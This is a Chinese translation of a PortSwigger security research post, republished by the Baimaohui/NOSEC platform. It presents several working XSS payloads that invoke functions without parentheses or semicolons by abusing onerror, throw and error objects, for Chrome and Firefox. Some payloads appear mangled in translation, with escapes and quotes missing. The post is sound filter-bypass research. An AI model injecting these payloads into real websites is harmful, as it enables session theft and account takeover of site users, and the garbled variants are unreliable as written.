幾年前,我發現了一種在javascript語句中調用函數而不使用括弧(使用onerrorthrow)的方法。它的工作原理是將onerror設置為你想調用的函數,然後用throw語句將參數傳遞給函數:

<script>onerror=alert;throw 1337</script>

onerror在每次javascript執行異常時都會被激活,調用指定的處理程序,並且throw語句可創建一個發送到onerror處的包含表達式的自定義異常。因為throw是一個語句,在和onerror配合使用時需要用分號隔離,避免被包含。

而最近,我遇到了一個過濾了括弧和分號的網站,以前所發現的方法自然就失效了,現在我必須找到某種方法在不使用分號和括弧的情況下執行一個函數。

第一種方法非常簡單:你可以使用花括弧來進行語句隔離,將onerror整體放入花括弧中。這樣就避免了使用分號:

<script>{onerror=alert}throw 1337</script>

這種方法雖然可行,但我想要一個更酷的XSS。有趣的是,因為throw語句可以接上一個表達式,所以你可以把onerror放在throw語句中進行賦值,並且throw表達式的最後一部分會被發送到onerror指定的處理函數中,實現一個自動的函數執行和參數調用。以下是它的工作原理:

<script>throw onerror=alert,somestring,123,haha</script>

當運行上面的代碼時,你可以注意到Chrome把Uncaught作為描述異常的字元串的前綴。

在我之前的博客文章中,我展示了如何把eval當作異常處理程序並把指定字元串作為參數。簡單回顧一下,你就會發現在字元串前加上一個=,就能將Uncaught字元串變成一個變數並執行任意javascript。例如:

<script>{onerror=eval}throw=alertx281337x29</script>

發送給eval函數的是Uncaught=alert(1337)。以上XSS能在Chrome上正常工作,但在Firefox上不行,因為Firefox的前綴是uncaught exception,代碼最後執行時會出現語法錯誤。於是我開始尋找通用的方法。

值得注意的是,當從控制台執行throw時,onerror/throw這套XSS是無法生效的。這是因為在控制台中執行throw時,結果將發送到控制台而不是異常處理程序。

當你在Firefox中使用Error函數創建異常時,最後報錯語句的前綴不是uncaught exception,而是字元串Error

throw new Error("My message")//Error: My message

當然,我顯然無法直接使用Error函數,因為它需要括弧,但我想也許我能使用帶有Error原型的object literal來模擬它的動作。很可惜,試驗後我發現這依舊不行——Firefox仍然使用相同的字元串作為前綴。接著我使用Hackability Inspector檢查Error對象以查看它具有的屬性。我將所有屬性添加到object literal,發現它居然有效!於是我一個接一個地刪除屬性,直到找到最小的屬性集合:

<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:alertx281x29}</script>

你也可以使用fileName屬性(在Firefox上)發送第二個參數:

<script>{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:second argument,message:first argument}</script>

我在推特@terjanq和@cgvwzq(Pepe Vila)上公布了這些發現,上面後面還有一些很酷的變種。例如在@terjanq上有一個刪除了所有字元串的XSS:

<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

還有通過使用類型錯誤自動將字元串發送到異常處理程序的方法,這使得我們完全不需要throw語句。

<script>TypeError.prototype.name ==/,0[onerror=eval][/-alert(1)//]</script>

感謝你的閱讀!

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場

來源:無需括弧和分號的XSS|NOSEC安全訊息平台 - 白帽匯安全研究院

原文:portswigger.net/blog/xs

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平台。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。


推薦閱讀:
相关文章